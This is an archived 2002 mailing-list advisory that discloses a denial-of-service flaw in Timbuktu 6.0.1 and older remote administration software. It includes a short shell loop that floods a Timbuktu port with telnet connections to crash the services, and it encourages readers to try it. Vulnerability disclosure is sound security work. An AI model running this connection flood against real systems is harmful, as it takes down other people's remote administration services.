Timbuktu 6.0.1 and Older DoS Advisory

From: Tekno pHReak (tekat_private)
Date: Thu Jan 17 2002 - 17:22:23 PST

  • Next message: John.Aireyat_private: "RE: [RHSA-2001:165-08] The uuxqt utility can be used to execute a rbitrary commands as uucp.uucp"

    
     ('binary' encoding is not supported, stored as-is)
    Timbuktu 6.0.1 and Older DoS Advisory
    *************************************
    Discovered by: Teknophreak of Malloc()
    **************************************
    
    
    E-mail: Tekat_private
    
    
    
    "Timbuktu" is a remote administration suite that is 
    available for MacOS and Windows operating 
    systems. 
    
    Timbuktu utilizes a range of ports between (1417 - 
    1420).  There exist a Denial of Service vulnerability 
    that will crash all timbuktu services running. 
    
    To exploit this all you must do is choose one of the 
    Timbuktu ports that are open and make a large 
    number of connections to it and if you keep a watch 
    you will see that all the Timbuktu ports available will 
    close one by one.
    
    If your admin doesn't mind try this against the 
    machine using timbuktu :
    
    #!/bin/sh
    
    while:
    do
    
    	telnet tb2.host.com 1417 &
    
    done
    
    
    This will cause the timbuktu services to die out. 
    Simple Enough Kids!
    
     
    



    This archive was generated by hypermail 2b30 : Mon Jan 21 2002 - 12:34:08 PST